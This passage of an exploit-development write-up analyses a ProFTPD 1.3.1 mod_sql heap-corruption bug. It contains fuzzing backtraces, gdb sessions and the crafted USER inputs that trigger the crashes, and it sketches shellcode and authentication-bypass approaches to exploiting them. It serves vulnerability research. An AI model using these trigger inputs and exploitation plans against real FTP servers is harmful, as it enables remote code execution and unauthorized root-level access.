
439 int sz = nclicks * CLICK_SZ;

440

441 /* For performance, see if space is available in the most recently

442 * allocated block.

443 */

444

445 union block_hdr *blok = p‑>last;

446 char *first_avail = blok‑>h.first_avail;

447 char *new_first_avail;

448

449 if (reqsz <= 0)

450 return NULL;

451

452 new_first_avail = first_avail + sz;

453

454 if (new_first_avail <= blok‑>h.endp) { [1] 455 blok‑>h.first_avail = new_first_avail;

456 return (void *) first_avail;

457 }

458

459 /* Need a new one that's big enough */

460 pr_alarms_block();

461

462 blok = new_block(sz, exact); [2]

463 p‑>last‑>h.next = blok;

464 p‑>last = blok;

465

466 first_avail = blok‑>h.first_avail; [3]

467 blok‑>h.first_avail += sz;

468

469 pr_alarms_unblock();

470 return (void *) first_avail;

471 }

‑‑‑

The check at [1] checks to see if the request can be satisfied from the pool allocation itself..

The call at [2] requests a "new_block" of memory. The returned pointer is determined at [3], indicating that the first_avail pointer at least needs to be modified.

‑‑‑

151 /* Get a new block, from the free list if possible, otherwise malloc a

new

152 * one. minsz is the requested size of the block to be allocated. 153 * If exact is TRUE, then minsz is the exact size of the allocated block;

154 * otherwise, the allocated size will be rounded up from minsz to the nearest

155 * multiple of BLOCK_MINFREE.

156 *

157 * Important: BLOCK ALARMS BEFORE CALLING

158 */

159

160 static union block_hdr *new_block(int minsz, int exact) { 161 union block_hdr **lastptr = &block_freelist;

162 union block_hdr *blok = block_freelist;

163

164 if (!exact) {

165 minsz = 1 + ((minsz ‑ 1) / BLOCK_MINFREE);

166 minsz *= BLOCK_MINFREE;

167 }

168

169 /* Check if we have anything of the requested size on our free list

first...

170 */

171 while (blok) {

172 if (minsz <= blok‑>h.endp ‑ blok‑>h.first_avail) {

173 *lastptr = blok‑>h.next;

174 blok‑>h.next = NULL;

175

176 stat_freehit++;

177 return blok;

178

179 } else {

180 lastptr = &blok‑>h.next;

181 blok = blok‑>h.next;

182 }

183 }

184

185 /* Nope...damn. Have to malloc() a new one. */

186 stat_malloc++;

187 return malloc_block(minsz);

188 }

‑‑‑

BLOCK_MINFREE is defined to PR_TUNABLE_NEW_POOL_SIZE, which is defined to 512 bytes.

So, we can see that if we can get the stars to align correctly, we can gain code execution via:

‑ Pool cleanup/destruction

‑ Corrupting the first_avail pointer in a block.

The second method is a little more effort, but it may not be possible to hit the first.

There are other avenues potentially available such as unlink() style corruption, or other heap content overwrites, but they were not explored in depth.

‑‑‑‑‑‑[ 3.3 ‑ Examining backtraces

After leaving the proftpd input fuzzing / automated crash analysis code [7] running for a while, I decided to stop it and examine some of the backtraces it created, in order to see what was found, and if any indicated that they where able to gain direct code execution, or useful memory corruption.

# echo backtraces: `ls ‑l backtrace.* | wc ‑l` ; echo unique backtraces: `md5su m backtrace.* | awk '{ print $1 }' | sort | uniq` backtraces: 4280

unique backtraces: 11380f2c8ce44d29b93b9bc6308692ae 2813d637d735be610a460a75db061f6b 3d10e2a054d8124ab4de5b588c592830 844319188798d7742af43d10f6541a61 914b175392625fe75c2b16dc18bfb250 b975726b4537662f3f5ddf377ea26c20 ccbbd918ad0dbc7a869184dc2eb9cc50 f1bfd5428c97b9d68a4beb6fb8286b70

Some of these back traces are very similiar, only real change in where they are called from. However, seeing that the code can be reached from multiple places is good; as it gives us more chances to take control of the remote process.

Flicking through the backtraces:

‑‑‑‑‑‑‑‑[ 3.3.1 ‑ 11380f2c8ce44d29b93b9bc6308692ae backtrace ]

# cat bt_frames.99861.0

EIP: 0xb7b7e67a, EBP: 0xbfd0a0a8, memset

EIP: 0x08055034, EBP: 0xbfd0a0d8, pstrcat

EIP: 0x080c0d85, EBP: 0xbfd0a118, cmd_select

EIP: 0x080c26f2, EBP: 0xbfd0a148, _sql_dispatch

EIP: 0x080c4354, EBP: 0xbfd0a1f8, _sql_getpasswd

EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups

EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups

EIP: 0x080718a6, EBP: 0xbfd0a328, call_module

EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth

EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config

EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.99861.0

EAX: 0x00000000

EBX: 0x0882d654

ECX: 0x0000103c

EDX: 0x00000001

ESI: 0x080d4960

EDI: 0x41346141

EBP: 0xbfd0a0a8

ESP: 0xbfd0a078

EIP: 0xb7b7e67a

So far, we can see we are memset()'ing a controllable pointer :D

Looking further at _sql_getpasswd in the backtrace:

(gdb) l *0x080c4354

0x80c4354 is in _sql_getpasswd (mod_sql.c:1252).

1247 }

1248

1249 if (!cmap.usercustom) {

1250 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,

NULL);

1251

1252 mr = _sql_dispatch(_sql_make_cmd(cmd‑>tmp_pool, 5, "default", 1253 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1254

1255 if (check_response(mr) < 0)

1256 return NULL;

(gdb) l *0x080c0d85

0x80c0d85 is in cmd_select (mod_sql_mysql.c:812).

807 } else {

808 query = pstrcat(cmd‑>tmp_pool, cmd‑>argv[2], " FROM ", cmd‑>argv[1], NULL);

809

810 if (cmd‑>argc > 3 &&

811 cmd‑>argv[3])

812 query = pstrcat(cmd‑>tmp_pool, query, " WHERE ",

cmd‑>argv[3], NULL);

813

814 if (cmd‑>argc > 4 &&

815 cmd‑>argv[4])

816 query = pstrcat(cmd‑>tmp_pool, query, " LIMIT ",

cmd‑>argv[4], NULL);

This backtrace is interesting, as it's appending contents we directly control to the chunk. Playing further:

# telnet 127.0.0.1 21

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1] USER A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%m%mA%mA%m%Z%Z%mAA%m%m %ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m

331 Password required for A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m% m%mA%mA%m%Z%Z%mAA%m%m%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m

USER AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m% m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9 Ac0A

...

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7c7a6b0 (LWP 19840)]

0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6

(gdb) bt

#0 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6 #1 0x08054d1a in pcalloc (p=0x98a84c4, sz=4156) at pool.c:481 #2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580

#3 0x080c0d85 in cmd_select (cmd=0x98a84ec) at mod_sql_mysql.c:812 #4 0x080c26f2 in _sql_dispatch (cmd=0x98a84ec, cmdname=0x80e4a3d "sql_select") at mod_sql.c:393

#5 0x080c4354 in _sql_getpasswd (cmd=0x98a1ad4, p=0xbfa8368c) at mod_sql.c:1252

#6 0x080c514d in _sql_getgroups (cmd=0x98a1ad4) at mod_sql.c:1599 #7 0x080ca70e in cmd_getgroups (cmd=0x98a1ad4) at mod_sql.c:3612 #8 0x080718a6 in call_module (m=0x80ee940, func=0x80ca6bd <cmd_getgroups>, cmd=0x98a1ad4) at modules.c:439

#9 0x0807339e in dispatch_auth (cmd=0x98a1ad4, match=0x80d9685 "getgroups", m=0x0) at auth.c:89

#10 0x0807481d in pr_auth_getgroups (p=0x98a1a04, name=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A", group_ids=0x80fb0bc, group_names=0x80fb0c0) at auth.c:691

#11 0x08074a98 in auth_anonymous_group (p=0x98a1a04, user=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A") at auth.c:751

#12 0x08074ea7 in pr_auth_get_anon_config (p=0x98a1a04, login_name=0xbfa838f8, user_name=0x0, anon_name=0x0) at auth.c:864 #13 0x080a4b5c in auth_user (cmd=0x9852e94) at mod_auth.c:1831 #14 0x080718a6 in call_module (m=0x80ec9e0, func=0x80a4a10 <auth_user>, cmd=0x9852e94) at modules.c:439

#15 0x0804c651 in _dispatch (cmd=0x9852e94, cmd_type=2, validate=1, match=0x9852ee4 "USER") at main.c:424

#16 0x0804caba in pr_cmd_dispatch (cmd=0x9852e94) at main.c:523 #17 0x0804d4ee in cmd_loop (server=0x9853af4, c=0x988abdc) at main.c:750 #18 0x0804ea36 in fork_server (fd=1, l=0x988a7bc, nofork=0 '\0') at main.c:1257

#19 0x0804f1cf in daemon_loop () at main.c:1464

#20 0x080522c6 in standalone_main () at main.c:2294

#21 0x08053109 in main (argc=4, argv=0xbfa84374, envp=0xbfa84388) at main.c:2878

(gdb) i r

eax 0x0 0

ecx 0x103c 4156

edx 0x1 1

ebx 0x98a2444 160048196

esp 0xbfa834a8 0xbfa834a8

ebp 0xbfa834d8 0xbfa834d8

esi 0x80d4960 135088480

edi 0x41346141 1093951809

...

# ruby pattern_offset.rb 0x41346141

12

...

(gdb) frame 2

#2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580

580 res = (char *) pcalloc(p, len + 1);

(gdb) info locals

argp = 0x0

res = 0x0

len = 4155

dummy = 0xbfa83524 ...

(gdb) x/32x $esp

0xbfa834e0: 0x098a84c4 0x0000103c 0x00000000 0x00000000 0xbfa834f0: 0x00000000 0x0988b62c 0xbfa83524 0x0000103b 0xbfa83500: 0x00000000 0x00000000 0xbfa83548 0x080c0d85 0xbfa83510: 0x098a84c4 0x098a854c 0x080e40e5 0x098aa7d4 0xbfa83520: 0x00000000 0x080ef060 0x00000000 0x00000000 0xbfa83530: 0x00000000 0x098a854c 0x00000000 0x098a8534 0xbfa83540: 0x0988b62c 0x0988b68c 0xbfa83578 0x080c26f2 0xbfa83550: 0x098a84ec 0x080e441a 0x098aa7d4 0x098a3874 (gdb) x/s 0x098a854c

0x98a854c: "userid, passwd, uid, gid, homedir, shell FROM ftpuser" (gdb) x/s 0x080e40e5

0x80e40e5: " WHERE "

(gdb) x/s 0x098aa7d4

0x98aa7d4: "(userid='", 'A' <repeats 20 times>, "%m%m%mA%m%m%mA%m%mAA %m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa 6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0", 'A' <repeats 11 times>, "%m%m%mA%m%m%mA%m%mAA%m"...

This crash is excellent, but it has several drawbacks:

‑ No direct control of EIP, thus requiring overwriting larger chunks of memory which may be problematic.

‑ Configuration dependent :(

‑ Both SQLUserInfo and SQLGroupInfo specify table names and table entries. For example:

‑ SQLUserInfo ftpuser userid passwd uid gid homedir shell ‑ SQLGroupInfo ftpgroup groupname gid members

‑ We could collect common configurations recommended in guides so that we can take them into account when bruteforcing.. sucky though.

Let's see what the others contain before getting too excited :)

‑‑‑‑‑‑[ 3.3.2 ‑ 2813d637d735be610a460a75db061f6b backtrace ]

# cat bt_frames.16259.0

EIP: 0x08054b7d, EBP: 0xbfd0a1d8, destroy_pool

EIP: 0x08054b0c, EBP: 0xbfd0a1e8, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a1f8, destroy_pool

EIP: 0x0807389f, EBP: 0xbfd0a248, pr_auth_getpwnam

EIP: 0x080a0e3a, EBP: 0xbfd0a488, setup_env

EIP: 0x080a51ca, EBP: 0xbfd0a4d8, auth_pass

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.16259.0

EAX: 0x62413362

EBX: 0x0000b25d

ECX: 0x00000002

EDX: 0x0882f8e8

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a1d8

ESP: 0xbfd0a1d0

EIP: 0x08054b7d

EAX looks like a modified pointer, and we can see we're in the destroy_pool / clean_pool code. No arbitrary EIP yet :~(

(gdb) l *0x08054b7d

0x8054b7d is in destroy_pool (pool.c:415).

410 return;

411

412 pr_alarms_block();

413

414 if (p‑>parent) {

415 if (p‑>parent‑>sub_pools == p)

416 p‑>parent‑>sub_pools = p‑>sub_next;

417

418 if (p‑>sub_prev)

419 p‑>sub_prev‑>sub_next = p‑>sub_next;

(gdb) l * 0x08054b0c

0x8054b0c is in clear_pool (pool.c:395).

390 /* Run through any cleanups. */

391 run_cleanups(p‑>cleanups);

392 p‑>cleanups = NULL;

393

394 /* Destroy subpools. */

395 while (p‑>sub_pools)

396 destroy_pool(p‑>sub_pools);

397 p‑>sub_pools = NULL;

398

399 free_blocks(p‑>first‑>h.next);

So, we can see that we've corrupted the p‑>parent‑>sub_pools pointer. Not immediately interesting, as we've isolated what appears to be very interesting earlier on. Might be able to do some fun and games at some point with the old unlink() style, though.

‑‑‑‑‑‑[ 3.3.3 ‑ 3d10e2a054d8124ab4de5b588c592830 backtrace ]

# cat bt_frames.99758.0

EIP: 0x08054b7d, EBP: 0xbfd0a338, destroy_pool

EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool

EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config

EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.99758.0

EAX: 0x62413362

EBX: 0x0882d4ac

ECX: 0x00000002

EDX: 0x088356c8

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a338

ESP: 0xbfd0a330

EIP: 0x08054b7d

Unfortunately, EIP is the same as the 2813d637d735be610a460a75db061f6b backtrace, except it dies with pr_auth_getgroups in the backtrace, rather than pr_auth_getpwnam.

‑‑‑‑‑‑[ 3.3.4 ‑ 844319188798d7742af43d10f6541a61 backtrace ]

# cat bt_frames.103331.0

EIP: 0x08054b7d, EBP: 0xbfd0a368, destroy_pool

EIP: 0x08054b0c, EBP: 0xbfd0a378, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool

EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config

EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.103331.0

EAX: 0x62413362

EBX: 0x0000a2f3

ECX: 0x00000002

EDX: 0x0882f2b8

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a368

ESP: 0xbfd0a360

EIP: 0x08054b7d

Not that interesting, unfortunately.

‑‑‑‑‑‑[ 3.3.5 ‑ 914b175392625fe75c2b16dc18bfb250 backtrace ]

# cat bt_frames.98014.0

EIP: 0x080544e0, EBP: 0xbfd0a368, free_blocks

EIP: 0x08054b30, EBP: 0xbfd0a378, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool

EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config

EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.98014.0

EAX: 0x33614132

EBX: 0x00009bd9

ECX: 0x00000002

EDX: 0x0882ea84

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a368

ESP: 0xbfd0a350

EIP: 0x080544e0

EAX contains a corrupted value.

Looking at it further:

This GDB was configured as "i486‑linux‑gnu"...

(gdb) l *0x080544e0

0x80544e0 is in free_blocks (pool.c:138).

133

134 block_freelist = blok;

135

136 /* Adjust first_avail pointers */

137

138 while (blok‑>h.next) {

139 chk_on_blk_list(blok, old_free_list);

140 blok‑>h.first_avail = (char *) (blok + 1);

141 blok = blok‑>h.next;

142 }

This is semi‑interesting, as we can overwrite something to point to the end of the block (the start of the allocated usable memory). However, the blok = blok‑>h.next loop makes things a lot more trickier than we'd like (finding a suitable pointer that terminates the loop without crashing, etc.)

Moving on...

‑‑‑‑‑‑[ 3.3.6 ‑ b975726b4537662f3f5ddf377ea26c20 backtrace ]

# cat bt_frames.1575.0

EIP: 0x080544e0, EBP: 0xbfd0a338, free_blocks

EIP: 0x08054b30, EBP: 0xbfd0a348, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool

EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config

EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.1575.0

EAX: 0x33614132

EBX: 0x0882d29c

ECX: 0x00000002

EDX: 0x088398a4

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a338

ESP: 0xbfd0a320

EIP: 0x080544e0

This is a duplicate of the previous one..

‑‑‑‑‑‑[ 3.3.7 ‑ ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace ]

# cat bt_frames.1081.0

EIP: 0x080544e0, EBP: 0xbfd0a318, free_blocks

EIP: 0x08054b30, EBP: 0xbfd0a328, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a338, destroy_pool

EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool

EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool

EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config

EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.1081.0

EAX: 0x33614132

EBX: 0x0882d29c

ECX: 0x00000002

EDX: 0x08839484

ESI: 0x080d4960

EDI: 0x088161e8

EBP: 0xbfd0a318

ESP: 0xbfd0a300

EIP: 0x080544e0

Another duplicate :(

‑‑‑‑‑‑[ 3.3.8 ‑ f1bfd5428c97b9d68a4beb6fb8286b70 backtrace ]

# cat bt_frames.11512.0

EIP: 0xb7b7e67a, EBP: 0xbfd0a118, memset

EIP: 0x080c2520, EBP: 0xbfd0a148, _sql_make_cmd

EIP: 0x080c4344, EBP: 0xbfd0a1f8, _sql_getpasswd

EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups

EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups

EIP: 0x080718a6, EBP: 0xbfd0a328, call_module

EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth

EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups

EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group

EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config

EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user

EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module

EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch

EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch

EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop

EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server

EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop

EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main

EIP: 0x08053109, EBP: 0xbfd0aea8, main

EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main

EIP: 0x0804b841, EBP: 0x00000000, _start

# cat regs.11512.0

EAX: 0x00000000

EBX: 0x0882da74

ECX: 0x00000024

EDX: 0x00000001

ESI: 0x080d4960

EDI: 0x41346141

EBP: 0xbfd0a118

ESP: 0xbfd0a0e8

EIP: 0xb7b7e67a

EDI is a pointer we control. Looking at it further:

(gdb) l *0x080c2520

0x80c2520 is in _sql_make_cmd (mod_sql.c:350).

345 register unsigned int i = 0;

346 pool *newpool = NULL;

347 cmd_rec *cmd = NULL;

348 va_list args;

349

350 newpool = make_sub_pool(p);

351 cmd = pcalloc(newpool, sizeof(cmd_rec));

352 cmd‑>argc = argc;

353 cmd‑>stash_index = ‑1;

354 cmd‑>pool = newpool;

(gdb)

355

356 cmd‑>argv = pcalloc(newpool, sizeof(void *) * (argc + 1)); 357 cmd‑>tmp_pool = newpool;

358 cmd‑>server = main_server;

359

360 va_start(args, argc);

361

362 for (i = 0; i < argc; i++)

363 cmd‑>argv[i] = (void *) va_arg(args, char *);

364

(gdb)

365 va_end(args);

366

367 cmd‑>argv[argc] = NULL;

368

369 return cmd;

370 }

371

372 static int check_response(modret_t *mr) {

373 if (!MODRET_ISERROR(mr))

374 return 0;

Interesting, it's in the make_sub_pool() code. Looking at it further:

‑‑‑

310 struct pool *make_sub_pool(struct pool *p) {

311 union block_hdr *blok;

312 pool *new_pool;

313

314 pr_alarms_block();

315

316 blok = new_block(0, FALSE);

317

318 new_pool = (pool *) blok‑>h.first_avail;

319 blok‑>h.first_avail += POOL_HDR_BYTES;

320

321 memset(new_pool, 0, sizeof(struct pool));

322 new_pool‑>free_first_avail = blok‑>h.first_avail;

323 new_pool‑>first = new_pool‑>last = blok;

324

325 if (p) {

326 new_pool‑>parent = p;

327 new_pool‑>sub_next = p‑>sub_pools;

328

329 if (new_pool‑>sub_next)

330 new_pool‑>sub_next‑>sub_prev = new_pool;

331

332 p‑>sub_pools = new_pool;

333 }

334

335 pr_alarms_unblock();

336

337 return new_pool;

338 }

‑‑‑

So, if we got it returning an arbitrary pointer, allocations from this pool (if within the default pool size) will overwrite memory we control.. let's see what could be (include/dirtree.h):

‑‑‑

96 typedef struct cmd_struc {

97 pool *pool;

98 server_rec *server;

99 config_rec *config;

100 pool *tmp_pool; /* Temporary pool which only exists

101 * while the cmd's handler is running

102 */

103 int argc;

104

105 char *arg; /* entire argument (excluding

command) */

106 char **argv;

107 char *group; /* Command grouping */

108

109 int class; /* The command class */

110 int stash_index; /* hack to speed up symbol hashing in

modules.c */

111 pr_table_t *notes; /* Private data for passing/retaining

between handlers */

112 } cmd_rec;

‑‑‑

Hmm, so we could overwrite pointers with somewhat controllable contents (don't forget the SELECT .. FROM .. WHERE type stuff interfering..)

‑‑‑‑‑‑[ 3.3.9 ‑ Summary ]

Out of the backtraces it has generated, the following look most useful (in usefulness looking order :p):

‑ 11380f2c8ce44d29b93b9bc6308692ae

‑ f1bfd5428c97b9d68a4beb6fb8286b70

‑ 914b175392625fe75c2b16dc18bfb250

Considering the code path taken, the first is the most easily exploitable. Unfortunately, we haven't got a clean EIP overwrite, and instead require returning a suitable pointer that will trash stuff near by it... depending on exploitation avenue, this may make things rather complicated.

‑‑[ 3.4 ‑ Exploitation avenues ]

So far, we've found an approach that allows us to return a pointer to be used later on where data we control is used in conjunction with other data.

What can we do with that? There's a couple of possibilities:

‑ Work out how to indicate authentication has succeeded

‑ Should leave us with the ftpd with nobody (revertable to root) privileges, and access to /. That'd be pretty neat ;D

‑ If we munge the heap too much, however, it may crash. Depending on what's being overwritten etc, it may be unavoidable.

‑ Run our own shellcode

‑ We can revert to root with a setresuid() call.

‑ More anti‑forensically acceptable / less effort / etc :p

‑‑‑‑‑‑[ 3.4.1 ‑ Shellcode approach ]

By returning a pointer that leads us to overwrite a function pointer with our contents, we can run shellcode. All that's required is a single address. Let's say for arguments say, we use

USER ...SHELLCODE%m%a..<POINTER TO RETURN><OVERWRITE CONTENT>

We would overwrite the function pointer with a pointer to shellcode (our original pointer ‑ X bytes to hit it). If we need to brute force a target pointer to overwrite, we can probably repeat <OVERWRITE CONTENT> several times to cover more memory than normal.

Due to space considerations, it would be best to use a find sock / recv() tag shellcode as a stager, then sending a another payload later on.

If shellcode size is a problem, it would be possible to spray our shellcode across the heap in the fake auth attempt, and use an egg hunter code in the trigger auth attempt. Ideally we would have a register or stack contents to give us an idea of where to start in case of ASLR.

